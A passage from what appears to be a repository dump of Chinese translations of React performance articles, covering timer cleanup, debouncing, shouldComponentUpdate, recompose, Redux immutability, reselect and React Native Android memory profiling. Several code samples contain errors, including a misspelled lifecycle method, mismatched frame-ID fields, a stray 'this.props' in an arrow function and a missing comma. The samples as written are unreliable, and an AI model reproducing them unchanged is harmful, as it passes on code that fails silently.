这个模块在初始化时可以通过一个过滤器匹配特定的想要优化的组件，否则你的命令行可能会被垃圾信息填满，并且可能你的浏览器会挂起或者崩溃，查阅 [why-did-you-update 文档](https://www.npmjs.com/package/why-did-you-update)获取更多详细信息。\n\n### 常见性能陷阱\n\n![](https://cdn-images-1.medium.com/max/800/1*GVteDSQnhXZCSui8JRp10A.gif)\n\n#### setTimeout() 和 setInterval() ####\n\n在 React 组件中使用 `setTimeout()` 或者  `setInterval()` 要十分小心。几乎总是有更好的选择，例如 'resize' 和 'scroll' 事件（注意：有关注意事项请参阅下一节）。\n\n如果你需要使用 `setTimeout()` 和 `setInterval()`，你必须**遵守下面两条建议**\n\n> 不要设置过短的时间间隔。\n\n当心那些小于 100 ms 的定时器，他们很可能是没意义的。如果确实需要一个更短的时间，可以使用 [window.requestAnimationFrame()](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)。\n\n> 保留对这些函数的引用，并且在 unmount 时取消或者销毁他们。\n\n`setTimeout()` 和 `setInterval()` 都返回一个延迟函数的引用，并且需要的时候可以取消它们。由于这些函数是在全局作用域执行的，他们不在乎你的组件是否存在，这会导致报错甚至程序卡死。\n\n**注意**: 对 `window.requestAnimationFrame()` 来说也是如此\n\n解决这个问题最简答的方法是使用 [react-timeout](https://www.npmjs.com/package/react-timeout) 这个 NPM 包，它提供了一个可以自动处理上述内容的高阶组件。它将 setTimeout/setInterval 等功能添加到包装组建的 props 上。(**特别感谢 Vixlet 的开发人员 [*Carl Pillot*](https://twitter.com/@carlpillot) 提供这个方法**)\n\n如果你不想引入这个依赖，并且希望自行解决此问题，你可以使用以下的方法：\n\n```\n// 如何正确取消 timeouts/intervals\n\ncompnentDidMount() {\n this._timeoutId = setTimeout( this.doFutureStuff, 1000 );\n this._intervalId = setInterval( this.doStuffRepeatedly, 5000 );\n}\ncomponentWillUnmount() {\n /*\n   高级提示：如果操作已经完成，或者值未被定义，这些函数也不会报错\n */\n clearTimeout( this._timeoutId );\n clearInterval( this._intervalId );\n}\n```\n\n\n如果你使用 requestAnimationFrame() 执行的一个动画循环，可以使用一个非常相似的解决方案，当前代码要有一点小的修改：\n\n```\n// 如何确保我们的动画循环在组件消除时结束\n\ncomponentDidMount() {\n  this.startLoop();\n}\n\ncomponentWillUnmount() {\n  this.stopLoop();\n}\n\nstartLoop() {\n  if( !this._frameId ) {\n    this._frameId = window.requestAnimationFrame( this.loop );\n  }\n}\n\nloop() {\n  // 在这里执行循环工作\n  this.theoreticalComponentAnimationFunction()\n  \n  // 设置循环的下一次迭代\n  this.frameId = window.requestAnimationFrame( this.loop )\n}\n\nstopLoop() {\n  window.cancelAnimationFrame( this._frameId );\n  // 注意: 不用担心循环已经被取消\n  // cancelAnimationFrame() 不会抛出异常\n}\n```\n\n#### 未去抖频繁触发的事件 ####\n\n某些常见的事件可能会非常频繁的触发，例如 `scroll`，`resize`。去抖这些事件是明智的，特别是如果事件处理程序执行的不仅仅是基本功能。\n\nLodash 有 [_.debounce](https://lodash.com/docs/#debounce) 方法。在 NPM 上还有一个独立的 [debounce](https://www.npmjs.com/package/debounce) 包.\n\n> “但是我真的需要立即反馈 scroll/resize 或者别的事件”\n\n我发现一种可以处理这些事件并且以高性能的方式进行响应的方法，那就是在第一次事件触发时启动 `requestAnimationFrame()` 循环。然后可以使用 `[debounce()](https://lodash.com/docs#debounce)` 方法并且将 `trailing` 这个配置项设为 `true`（**这意味着该功能只在频繁触发的事件流结束后触发**）来取消对值的监听，看看下面这个例子。\n\n```\nclass ScrollMonitor extends React.Component {\n  constructor() {\n    this.handleScrollStart = this.startWatching.bind( this );\n    this.handleScrollEnd = debounce(\n      this.stopWatching.bind( this ),\n      100,\n      { leading: false, trailing: true } );\n  }\n\n  componentDidMount() {\n    window.addEventListener( 'scroll', this.handleScrollStart );\n    window.addEventListener( 'scroll', this.handleScrollEnd );\n  }\n\n  componentWillUnmount() {\n    window.removeEventListener( 'scroll', this.handleScrollStart );\n    window.removeEventListener( 'scroll', this.handleScrollEnd );\n    \n    //确保组件销毁后结束循环\n    this.stopWatching();\n  }\n\n  // 如果循环未开始，启动它\n  startWatching() {\n    if( !this._watchFrame ) {\n      this.watchLoop();\n    }\n  }\n\n  // 取消下一次迭代\n  stopWatching() {\n    window.cancelAnimationFrame( this._watchFrame );\n  }\n\n  // 保持动画的执行直到结束\n  watchLoop() {\n    this.doThingYouWantToWatchForExampleScrollPositionOrWhatever()\n\n    this._watchFrame = window.requestAnimationFrame( this.watchLoop )\n  }\n\n}\n```\n\n#### 密集CPU任务线程阻塞 ####\n\n某些任务一直是 CPU 密集型的，因此可能会导致主渲染线程的阻塞。举几个例子，比如非常复杂的数学计算，迭代非常大的数组，使用 `File` api 进行文件读写，利用 `<canvas>` 对图片进行编码解码。\n\n在这些情况下，如果有可能最好使用 Web Worker 将这些功能移到另一个线程上，这样我们的主渲染线程可以保持顺滑。\n\n**相关阅读**\n\nMDN 文章: [Using Web Workers](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)\n\nMDN 文档: [Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Worker)\n\n### 结语 ###\n\n我们希望上述建议对您能有所帮助。如果没有 Vixlet 团队的伟大工作和研究，上述的提示和编程技巧是不可能产出的。他们真的是我曾经合作过的最棒的团队之一。\n\n在你的 React 的征途中保持学习和练习，愿原力与你同在！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n\n\n"
  },
  {
    "path": "TODO/react-is-slow-react-is-fast.md",
    "content": "> * 原文地址：[React is Slow, React is Fast: Optimizing React Apps in Practice](https://marmelab.com/blog/2017/02/06/react-is-slow-react-is-fast.html/)\n> * 原文作者：[François Zaninotto ](https://github.com/francoisz)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Jiang Haichao](https://github.com/AceLeeWinnie)\n> * 校对者：[Wneil](https://github.com/avocadowang), [Chen Lu](https://github.com/1992chenlu)\n\n# React 的慢与快：优化 React 应用实战\n\nReact 是慢的。我的意思是，任何中等规模的 React 应用都是慢的。但是在开始找备选方案之前，你应该明白任何中等规模的 Angular 或 Ember 应用也是慢的。好消息是：如果你在乎性能，使 React 应用变得超级快则相当容易。这篇文章就是案例。\n\n## 衡量 React 性能\n\n我说的 “慢” 到底是什么意思？举个例子。\n\n我正在为 [admin-on-rest](https://github.com/marmelab/admin-on-rest) 这个开源项目工作，它使用 [material-ui](http://www.material-ui.com/#/) 和 [Redux](http://redux.js.org/) 为任一 REST API 提供一个 admin 用户图形界面。这个应用已经有一个数据页，在一个表格中展示一系列记录。当用户改变排列顺序，导航到下一个页面，或者做结果筛选，这个界面的响应式做的我不够满意。接下来的截屏是刷新放慢了 5x 的结果。\n\n![Datagrid refresh](https://marmelab.com/images/blog/admin-on-rest-slow-sort.gif)\n\n来看看发生了什么，我在 URL 里插入一个 `?react_perf`。自 React 15.4，可以通过这个属性启用 [组件 Profiling](https://facebook.github.io/react/blog/2016/11/16/react-v15.4.0.html#profiling-components-with-chrome-timeline)。等待初始化数据页加载完毕。在 Chrome 开发者工具打开 Timeline 选项卡，点击 \"Record\" 按钮，并单击表头更新排列顺序。一旦数据更新，再次点击 \"Record\" 按钮停止记录，Chrome 会在 \"User Timing\" 标签下展示一个黄色的火焰图。\n\n![Initial flamegraph](https://marmelab.com/images/blog/initial_flamegraph.png)\n\n如果你从未见过火焰图，看起来会有点吓人，但它其实非常易于使用。这个 \"User Timing\" 图显示的是每个组件占用的时间。它隐藏了 React 内部花费的时间（这部分时间是你无法优化的），所以这图使你专注优化你的应用。这个 Timeline 显示的是不同阶段的窗口截屏，这就能聚焦到点击表头时对应的时间点情况。\n\n![Initial flamegraph zoomed](https://marmelab.com/images/blog/initial_flamegraph_zoomed.png)\n\n似乎在点击排序按钮后，甚至在拿到 REST 数据 **之前** 就已经重新渲染，我的应用就重新渲染了 `<List>` 组件。这个过程花费了超过 500ms。这个应用仅仅更新了表头的排序 icon，和在数据表之上展示灰色遮罩表明数据仍在传输。\n\n另外，这个应用花了半秒钟提供点击的视觉反馈。500ms 绝对是可感知的 - UI 专家如是说，[当视觉层改变低于 100ms 时，用户感知才是瞬时的](https://www.nngroup.com/articles/website-response-times/)。这一可觉察的变更即是我所说的 ”慢“。\n\n## 为何而更新？\n\n根据上述火焰图，你会看到许多小的凹陷。那不是一个好标志。这意味着许多组件被重绘了。火焰图显示，`<Datagrid>` 组件更新花费了最多时间。为什么在获取到新数据之前应用会重绘整个数据表呢？让我们来深入探讨。\n\n要理解重绘的原因，通常要借助在 `render` 函数里添加 `console.log()` 语句完成。因为函数式的组件，你可以使用如下的单行高阶组件（HOC）:\n\n```\n// in src/log.js\nconst log = BaseComponent => props => {\n    console.log(`Rendering ${BaseComponent.name}`);\n    return <BaseComponent {...props} />;\n}\nexport default log;\n\n// in src/MyComponent.js\nimport log from './log';\nexport default log(MyComponent);\n```\n\n**小提示**：另一值得一提的 React 性能工具是 [`why-did-you-update`](https://github.com/garbles/why-did-you-update)。这个 npm 包在 React 基础上打了一个补丁，当一个组件基于相同 props 重绘时会打出 console 警告。说明：输出十分冗长，并且在函数式组件中不起作用。\n\n在这个例子中，当用户点击列的标题，应用触发一个 action 来改变 state：此列的排序 [`currentSort`] 被更新。这个 state 的改变触发了 `<List>` 页的重绘，反过来造成了整个 `<Datagrid>` 组件的重绘。在点击排序按钮后，我们希望 datagrid 表头能够立刻被重绘，作为用户行为的反馈。\n\n使得 React 应用迟缓的通常不是单个慢的组件（在火焰图中反映为一个大的区块）。**大多数时候，使 React 应用变慢的是许多组件无用的重绘。** 你也许曾读到，React 虚拟 DOM 超级快的言论。那是真的，但在一个中等规模的应用中，全量重绘容易造成成百的组件重绘。甚至最快的虚拟 DOM 模板引擎也不能使这一过程低于 16ms。\n\n## 切割组件即优化\n\n这是 `<Datagrid>` 组件的 `render()` 方法：\n\n```\n// in Datagrid.js\nrender() {\n    const { resource, children, ids, data, currentSort } = this.props;\n    return (\n        <table>\n            <thead>\n                <tr>\n                    {React.Children.map(children, (field, index) => (\n                        <DatagridHeaderCell key={index} field={field} currentSort={currentSort} updateSort={this.updateSort}\n                        />\n                    ))}\n                </tr>\n            </thead>\n            <tbody>\n                {ids.map(id => (\n                    <tr key={id}>\n                        {React.Children.map(children, (field, index) => (\n                            <DatagridCell record={data[id]} key={`${id}-${index}`} field={field} resource={resource} />\n                        ))}\n                    </tr>\n                ))}\n            </tbody>\n        </table>\n    );\n}\n```\n\n这看起来是一个非常简单的 datagrid 的实现，然而这 **非常低效**。每个 `<DatagridCell>` 调用会渲染至少两到三个组件。正如你在初次界面截图里看到的，这个表有 7 列，11 行，即 7x11x3 = 231 个组件会重新渲染。仅仅是 `currentSort` 的改变时，这简直是浪费时间。虽然在虚拟 DOM 没有更新的情况下，React 不会更新真实DOM，所有组件的处理也会耗费 500ms。\n\n为了避免无用的表体渲染，第一步就是把它 **抽取** 出来：\n\n```\n// in Datagrid.js\nrender() {\n    const { resource, children, ids, data, currentSort } = this.props;\n    return (\n        <table>\n            <thead>\n                <tr>\n                    {React.Children.map(children, (field, index) => (\n                        <DatagridHeaderCell key={index} field={field} currentSort={currentSort} updateSort={this.updateSort}\n                        />\n                    ))}\n                </tr>\n            </thead>\n            <DatagridBody resource={resource} ids={ids} data={data}>\n                {children}\n            </DatagridBody>\n            </table>\n        );\n    );\n}\n```\n\n通过抽取表体逻辑，我创建了新的 `<DatagridBody>` 组件：\n\n```\n// in DatagridBody.js\nimport React from 'react';\n\nconst DatagridBody = ({ resource, ids, data, children }) => (\n    <tbody>\n        {ids.map(id => (\n            <tr key={id}>\n                {React.Children.map(children, (field, index) => (\n                    <DatagridCell record={data[id]} key={`${id}-${index}`} field={field} resource={resource} />\n                ))}\n            </tr>\n        ))}\n    </tbody>\n);\n\nexport default DatagridBody;\n```\n\n抽取表体对性能上毫无影响，但它反映了一条优化之路。庞大的，通用的组件优化起来有难度。小的，单一职责的组件更容易处理。\n\n## shouldComponentUpdate\n\n[React 文档](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate) 里对于避免无用的重绘有非常明确的方法：`shouldComponentUpdate()`。默认的，React **一直重绘** 组件到虚拟 DOM 中。换句话说，作为开发者，在那种情况下，检查 props 没有改变的组件和跳过绘制都是你的工作。\n\n以上述 `<DatagridBody>` 组件为例，除非 props 改变，否则 body 就不应该重绘。\n\n所以组件应该如下：\n\n```\nimport React, { Component } from 'react';\n\nclass DatagridBody extends Component {\n    shouldComponentUpdate(nextProps) {\n        return (nextProps.ids !== this.props.ids\n             || nextProps.data !== this.props.data);\n    }\n\n    render() {\n        const { resource, ids, data, children } = this.props;\n        return (\n            <tbody>\n                {ids.map(id => (\n                    <tr key={id}>\n                        {React.Children.map(children, (field, index) => (\n                            <DatagridCell record={data[id]} key={`${id}-${index}`} field={field} resource={resource} />\n                        ))}\n                    </tr>\n                ))}\n            </tbody>\n        );\n    }\n}\n\nexport default DatagridBody;\n```\n\n**小提示**：相比手工实现 `shouldComponentUpdate()` 方法，我可以继承 React 的 `PureComponent` 而不是 `Component`。这个组件会用严格对等（`===`）对比所有的 props，并且仅当 **任一** props 变更时重绘。但是我知道在例子的上下文中 `resource` 和 `children` 不会变更，所以无需检查他们的对等性。\n\n有了这一优化，点击表头后，`<Datagrid>` 组件的重绘会跳过表体及其全部 231 个组件。这会将 500ms 的更新时间减少到 60ms。网络性能提高超过 400ms！\n\n![Optimized flamegraph](https://marmelab.com/images/blog/optimized_flamegraph.png)\n\n**小提示**：别被火焰图的宽度骗了，比前一个火焰图而言，它放大了。这幅火焰图显示的性能绝对是最好的！\n\n`shouldComponentUpdate` 优化在图中去掉了许多凹坑，并减少了整体渲染时间。我会用同样的方法避免更多的重绘（例如：避免重绘 sidebar，操作按钮，没有变化的表头和页码）。一个小时的工作之后， 点击表头的列后，整个页面的渲染时间仅仅是 100ms。那相当快了 - 即使仍然存在优化空间。\n\n添加一个 `shouldComponentUpdate` 方法也许似乎很麻烦，但如果你真的在乎性能，你所写的大多数组件都应该加上。\n\n别哪里都加上 `shouldComponentUpdate` - 在简单组件上执行 `shouldComponentUpdate` 方法有时比仅渲染组件要耗时。也别在应用的早期使用 - 这将过早地进行优化。但随着应用的壮大，你会发现组件上的性能瓶颈，此时才添加 `shouldComponentUpdate` 逻辑保持快速地运行。\n\n## 重组\n\n我不是很满意之前在 `<DatagridBody>` 上的改造：由于使用了 `shouldComponentUpdate`，我不得不改造成简单的基于类的函数式组件。这增加了许多行代码，每一行代码都要耗费精力 - 去写，调试和维护。\n\n幸运的是，得益于 [recompose](https://github.com/acdlite/recompose)，你能够在高阶组件（HOC）上实现 `shouldComponentUpdate` 的逻辑。它是一个 React 的函数式工具，提供 `pure()` 高阶实例。\n\n```\n// in DatagridBody.js\nimport React from 'react';\nimport pure from 'recompose/pure';\n\nconst DatagridBody = ({ resource, ids, data, children }) => (\n    <tbody>\n        {ids.map(id => (\n            <tr key={id}>\n                {React.Children.map(children, (field, index) => (\n                    <DatagridCell record={data[id]} key={`${id}-${index}`} field={field} resource={resource} />\n                ))}\n            </tr>\n        ))}\n    </tbody>\n);\n\nexport default pure(DatagridBody);\n```\n\n这段代码与上述的初始实现仅有的差异是：我导出了 `pure(DatagridBody)` 而非 `DatagridBody`。`pure` 就像 `PureComponent`，但是没有额外的类模板。\n\n当使用 `recompose` 的 `shouldUpdate()` 而不是 `pure()` 的时候，我甚至可以更加具体，只瞄准我知道可能改变的 props：\n\n```\n// in DatagridBody.js\nimport React from 'react';\nimport shouldUpdate from 'recompose/shouldUpdate';\n\nconst DatagridBody = ({ resource, ids, data, children }) => (\n    ...\n);\n\nconst checkPropsChange = (props, nextProps) =>\n    (nextProps.ids !== this.props.ids\n  || nextProps.data !== this.props.data);\n\nexport default shouldUpdate(checkPropsChange)(DatagridBody);\n```\n\n`checkPropsChange` 是纯函数，我甚至可以导出做单元测试。\n\nrecompose 库提供了更多 HOC 的性能优化方案，例如 `onlyUpdateForKeys()`，这个方法所做的检查，与我自己写的 `checkPropsChange` 那类检查完全相同。\n\n```\n// in DatagridBody.js\nimport React from 'react';\nimport onlyUpdateForKeys from 'recompose/onlyUpdateForKeys';\n\nconst DatagridBody = ({ resource, ids, data, children }) => (\n    ...\n);\n\nexport default onlyUpdateForKeys(['ids', 'data'])(DatagridBody);\n```\n\n强烈推荐 recompose 库，除了能优化性能，它能帮助你以函数和可测的方式抽取数据获取逻辑，HOC 组合和进行 props 操作。\n\n## Redux\n\n如果你正在使用 [Redux](http://redux.js.org/) 管理应用的 state （我也推荐这一方式），那么 connected 组件已经是纯组件了。不需要添加 HOC。只要记住一旦其中一个 props 改变了，connected 组件就会重绘 - 这也包括了所有子组件。因此即使你在页面组件上使用 Redux，你也应该在渲染树的深层用 `pure()` 或 `shouldUpdate()`。\n\n并且，当心 Redux 用严格模式对比 props。因为 Redux 将 state 绑定到组件的 props 上，如果你修改 state 上的一个对象，Redux 的 props 对比会错过它。这也是为什么你必须在 reducer 中用 **不可变性原则**\n\n举个栗子，在 admin-on-rest 中，点击表头 dispatch 一个 `SET_SORT` action。监听这个 action 的 reducer 必须 **替换** state 中的 object，而不是 **更新** 他们。\n\n```\n// in listReducer.js\nexport const SORT_ASC = 'ASC';\nexport const SORT_DESC = 'DESC';\n\nconst initialState = {\n    sort: 'id',\n    order: SORT_DESC,\n    page: 1,\n    perPage: 25,\n    filter: {},\n};\n\nexport default (previousState = initialState, { type, payload }) => {\n    switch (type) {\n    case SET_SORT:\n        if (payload === previousState.sort) {\n            // inverse sort order\n            return {\n                ...previousState,\n                order: oppositeOrder(previousState.order),\n                page: 1,\n            };\n        }\n        // replace sort field\n        return {\n            ...previousState,\n            sort: payload,\n            order: SORT_ASC,\n            page: 1,\n        };\n\n    // ...\n\n    default:\n        return previousState;\n    }\n};\n```\n\n还是这个 reducer，当 Redux 用 '===' 检查到变化时，它发现 state 对象的不同，然后重绘 datagrid。但是我们修改 state 的话，Redux 将会忽略 state 的改变并错误地跳过重绘：\n\n```\n// don't do this at home\nexport default (previousState = initialState, { type, payload }) => {\n    switch (type) {\n    case SET_SORT:\n        if (payload === previousState.sort) {\n            // never do this\n            previousState.order = oppositeOrder(previousState.order);\n            return previousState;\n        }\n        // never do that either\n        previousState.sort = payload;\n        previousState.order = SORT_ASC;\n        previousState.page = 1;\n        return previousState;\n\n    // ...\n\n    default:\n        return previousState;\n    }\n};\n```\n\n为了不可变的 reducer，其他开发者喜欢用同样来自 Facebook 的 [immutable.js](https://facebook.github.io/immutable-js/)。我觉得这没必要，因为 ES6 解构赋值使得有选择地替换组件属性十分容易。另外，Immutable 也很笨重（60kB），所以在你的项目中添加它之前请三思。\n\n## 重新选择\n\n为了防止（Redux 中）无用的绘制 connected 组件，你必须确保 `mapStateToProps` 方法每次调用不会返回新的对象。\n\n以 admin-on-rest 中的 `<List>` 组件为例。它用以下代码从 state 中为当前 resource 获取一系列记录（如：帖子，评论等）：\n\n```\n// in List.js\nimport React from 'react';\nimport { connect } from 'react-redux';\n\nconst List = (props) => ...\n\nconst mapStateToProps = (state, props) => {\n    const resourceState = state.admin[props.resource];\n    return {\n        ids: resourceState.list.ids,\n        data: Object.keys(resourceState.data)\n            .filter(id => resourceState.list.ids.includes(id))\n            .map(id => resourceState.data[id])\n            .reduce((data, record) => {\n                data[record.id] = record;\n                return data;\n            }, {}),\n    };\n};\n\nexport default connect(mapStateToProps)(List);\n```\n\nstate 包含了一个数组，是以前获取的记录，以 resource 做索引。举例，`state.admin.posts.data` 包含了一系列帖子：\n\n```\n{\n    23: { id: 23, title: \"Hello, World\", /* ... */ },\n    45: { id: 45, title: \"Lorem Ipsum\", /* ... */ },\n    67: { id: 67, title: \"Sic dolor amet\", /* ... */ },\n}\n```\n\n`mapStateToProps` 方法筛选 state 对象，只返回在 list 中展示的部分。如下所示：\n\n```\n{\n    23: { id: 23, title: \"Hello, World\", /* ... */ },\n    67: { id: 67, title: \"Sic dolor amet\", /* ... */ },\n}\n```\n\n问题是每次 `mapStateToProps` 执行，它会返回一个新的对象，即使底层对象没有被改变。结果，`<List>` 组件每次都会重绘，即使只有 state 的一部分改变了 - date 或 ids 改变造成 id 改变。\n\n[Reselect](https://github.com/reactjs/reselect) 通过备忘录模式解决这个问题。相比在 `mapStateToProps` 中直接计算 props，从 reselect 中用 **selector** 如果输入没有变化，则返回相同的输出。\n\n```\nimport React from 'react';\nimport { connect } from 'react-redux';\nimport { createSelector } from 'reselect'\n\nconst List = (props) => ...\n\nconst idsSelector = (state, props) => state.admin[props.resource].ids\nconst dataSelector = (state, props) => state.admin[props.resource].data\n\nconst filteredDataSelector = createSelector(\n  idsSelector,\n  dataSelector\n  (ids, data) => Object.keys(data)\n      .filter(id => ids.includes(id))\n      .map(id => data[id])\n      .reduce((data, record) => {\n          data[record.id] = record;\n          return data;\n      }, {})\n)\n\nconst mapStateToProps = (state, props) => {\n    const resourceState = state.admin[props.resource];\n    return {\n        ids: idsSelector(state, props),\n        data: filteredDataSelector(state, props),\n    };\n};\n\nexport default connect(mapStateToProps)(List);\n```\n\n现在 `<List>` 组件仅在 state 的子集改变时重绘。\n\n作为重组问题，reselect selector 是纯函数，易于测试和组合。它是为 Redux connected 组件编写 selector 的最佳方式。\n\n## 当心 JSX 中的对象字面量\n\n当你的组件变得更 “纯” 时，你开始检测导致无用重绘坏模式。最常见的是 JSX 中对象字面量的使用，我更喜欢称之为 \"**臭名昭著的 {{**\"。请允许我举例说明：\n\n```\nimport React from 'react';\nimport MyTableComponent from './MyTableComponent';\n\nconst Datagrid = (props) => (\n    <MyTableComponent style={{ marginTop: 10 }}>\n        ...\n    </MyTableComponent>\n)\n```\n\n每次 `<Datagrid>` 组件重绘，`<MyTableComponent>` 组件的 `style` 属性都会得到一个新值。所以即使 `<MyTableComponent>` 是纯的，每次 `<Datagrid>` 重绘时它也会跟着重绘。事实上，每次把对象字面量当做属性值传递到子组件时，你就打破了纯函数。解法很简单：\n\n```\nimport React from 'react';\nimport MyTableComponent from './MyTableComponent';\n\nconst tableStyle = { marginTop: 10 };\nconst Datagrid = (props) => (\n    <MyTableComponent style={tableStyle}>\n        ...\n    </MyTableComponent>\n)\n```\n\n这看起来很基础，但是我见过太多次这个错误，因而生成了检测臭名昭著的 `{{` 的敏锐直觉。我把他们一律替换成常量。\n\n另一个常用来劫持纯函数的 suspect 是 `React.cloneElement()`。如果你把 prop 值作为第二参数传入方法，每次渲染就会生成一个带新 props 的新 clone 组件。\n\n```\n// bad\nconst MyComponent = (props) => <div>{React.cloneElement(Foo, { bar: 1 })}</div>;\n\n// good\nconst additionalProps = { bar: 1 };\nconst MyComponent = (props) => <div>{React.cloneElement(Foo, additionalProps)}</div>;\n```\n\n[material-ui](http://www.material-ui.com/#/) 已经困扰了我一段时间，举例如下：\n\n```\nimport { CardActions } from 'material-ui/Card';\nimport { CreateButton, RefreshButton } from 'admin-on-rest';\n\nconst Toolbar = ({ basePath, refresh }) => (\n    <CardActions>\n        <CreateButton basePath={basePath} />\n        <RefreshButton refresh={refresh} />\n    </CardActions>\n);\n\nexport default Toolbar;\n```\n\n尽管 `<CreateButton>` 是纯函数，但每次 `<Toolbar>` 绘制它也会绘制。那是因为 material-ui 的 `<CardActions>` 添加了一个特殊 style，为了使第一个子节点适应 margin - 它用了一个对象字面量来做这件事。所以 `<CreateButton>` 每次都收到不同的 `style` 属性。我用 recompose 的 `onlyUpdateForKeys()` HOC 解决了这个问题。\n\n```\n// in Toolbar.js\nimport onlyUpdateForKeys from 'recompose/onlyUpdateForKeys';\n\nconst Toolbar = ({ basePath, refresh }) => (\n    ...\n);\n\nexport default onlyUpdateForKeys(['basePath', 'refresh'])(Toolbar);\n```\n\n## 结论\n\n还有许多可以使 React 应用更快的方法（使用 keys、懒加载重路由、`react-addons-perf` 包、使用 ServiceWorkers 缓存应用状态、使用同构等等），但正确实现 `shouldComponentUpdate` 是第一步 - 也是最有用的。\n\nReact 默认是不快的，但是无论是什么规模的应用，它都提供了许多工具来加速。这也许是违反直觉的，尤其自从许多框架提供了 React 的替代品，它们声称比 React 快 n 倍。但 React 把开发者的体验放在了性能之前。这也是为什么用 React 开发大型应用是个愉快的体验，没有惊吓，只有不变的实现速度。\n\n只要记住，每隔一段时间 profile 你的应用，让出一些时间在必要的地方添加一些 `pure()` 调用。别一开始就做优化，别花费过多时间在每个组件的过度优化上 - 除非你是在移动端。记住在不同设备进行测试，让用户对应用的响应式有良好印象。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/react-native-android-app-memory-investigation.md",
    "content": "> * 原文地址：[React Native Android App Memory Investigation](https://shift.infinite.red/react-native-android-app-memory-investigation-55695625da9c#.a1m35m6jb)\n* 原文作者：[Leon Kim](https://shift.infinite.red/@blackgoat)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[PhxNirvana](https://github.com/phxnirvana)\n* 校对者：[XHShirley](https://github.com/XHShirley), [jamweak](https://github.com/jamweak)\n\n# React Native Android 应用内存使用探究\n\n\n### 为什么我那台老旧的 Android 手机无法加载图片？\n\n刚开始接触 React Native 应用时，我发现有个现象很奇怪，在 Android 手机上我无法看到任何图片，只有颜色和文字可以显示。但 iOS 手机却没有任何问题。\n\n我以为是我新找来测试 React Native 工程的 Android 手机有问题。我甚至被这错误的想法牵着刷了 rom （基于 AOSP 5.1.1 的系统）来在更高的 Android 版本上运行 React Native，当然也有着避免被 Samsung 自带应用影响的原因。然而，除了样例工程的首屏外，其他地方仍看不到图片。于是我将这手机打入冷宫。\n\n几天后，我的朋友指出 React Native 的 Android 应用在一些特定屏幕上无法加载图片。呃……这可真够奇怪的……等等，我好像在哪儿见过这现象……\n\n好吧，原来不止是我的手机有这现象。\n\n### 这……一言难尽啊。\n\n代码很明了，在显示图片方面并没有用什么黑科技或者第三方库。我开始在不同Android版本的 GenyMotion 和 Android Virtual Device （ AVD ，Android 虚拟机）上运行（React Native应用）。\n\n*   **我的手机**：只能在第一屏看到图片\n*   **GenyMotion (API 21, API 22)**：部分节点有问题\n*   **AVD (API 21, API 22, API 23)**：完全没问题？！\n\n我本以为这是在特定机型或者 API 版本上发生的事情，但显然不是这样的。也就是说我需要考虑一堆其他的可能性。这可真让人头痛。\n\n### 我的宿敌——内存\n\n这应用有许多作为背景显示的图片，而且这些图片也不算小（400~800 kb）。除此之外，虽然不太可能，但仍有点可疑的是，这些图片都是通过远程 URI 获取的。\n\n我开始对内存结构产生了好奇心，尤其是从远程加载图片时动态分配的堆空间。于是我开始追踪内存使用。\n\n### 想要一些炫酷的内存查看工具？\n\n几年前，我用这个来查看内存：\n\n    adb shell dumpsys meminfo\n\n我喜欢命令行应用，但当涉及到图形化的内存使用时，这真的不是什么界面友好的东西。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*Z1SdG8xVPb_35zd5EfgfFw.png)\n\n\n\n别告诉我你喜欢看这样的内存分享界面。\n\n如果你在一个宿醉的周六清晨用这东西，那绝对会让你从梦魇中醒来。（不不，我绝对没干过这种事！[😉](https://linmi.cc/wp-content/themes/bokeh/images/emoji/1f609.png)） 我需要能让垃圾回收变得更容易的工具。\n\n最容易获取（并且免费！）的内存查看器就是 **Android Device Monitor**。如果你安装过 Android Studio 的话，你就已经拥有它了。按照如下步骤来打开它： \n\n1.  用平常的方式运行 React Native 应用 (**_react-native run-android_**)\n2.  运行 **Android Studio**\n3.  在菜单栏找到并打开 **Tools → Android → Enable ADB Integration**\n4.  点击 **Tools → Android → Android Device Monitor**\n5.  当显示 Android Device Monitor 界面时，点击 **Monitor → Preferences**\n6.  在打开的对话框中找到 **Android** → **DDMS** ，选中这两项\n\n*   Heap updates enabled by default（默认更新堆开启）\n*   Thread updates enable by default (optional)（默认更新线程开启）\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*mut35zka6GU77s5tup4CWQ.png)\n\n\n\n之后你就会看到一个如图所示的界面 (**System Information tab**):\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*sr3QA9GwDxRtB-m1Pp87Tw.png)\n\n\n\n如果你看到这个界面的话：\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*JLsrnmcD_L_W_m4Uocz2Fg.png)\n\n\n\n执行下面这条命令来确保你的开发服务连上了设备。\n\n    adb reverse tcp:8081 tcp:8081\n\n当你从 Android Studio 运行一个已经通过 **_react-native run-android_** 